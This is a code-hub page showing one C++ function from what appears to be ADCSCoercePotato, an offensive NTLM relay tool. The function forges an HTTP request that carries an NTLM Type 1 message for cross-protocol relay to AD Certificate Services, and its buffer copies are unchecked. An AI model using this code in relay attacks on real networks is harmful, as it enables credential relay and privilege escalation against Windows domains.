MCPcopy Create free account
hub / github.com/decoder-it/ADCSCoercePotato / ForgeHTTPRequestType1

Function ForgeHTTPRequestType1

HTTPCrossProtocolRelay.cpp:127–140  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

125}
126
127char* ForgeHTTPRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp) {
128 char httpPacketTemplate[] = "GET / HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\n\r\n";
129 char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
130 int b64ntlmLen;
131 char httpIp_a[20];
132 memset(httpIp_a, 0, 20);
133 wcstombs(httpIp_a, httpIp, 20);
134 char* b64ntlmTmp = base64Encode(ntlmsspType1, ntlmsspType1Len, &b64ntlmLen);
135 char b64ntlm[DEFAULT_BUFLEN];
136 memset(b64ntlm, 0, DEFAULT_BUFLEN);
137 memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
138 *httpPacketType1Len = sprintf(httpPacket, httpPacketTemplate, httpIp_a, b64ntlm);
139 return httpPacket;
140}
141
142char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp) {
143 char httpPacketTemplate[] = "GET / HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\n\r\n";

Callers 1

startCOMListenerMethod · 0.85

Calls 1

base64EncodeFunction · 0.85

Tested by

no test coverage detected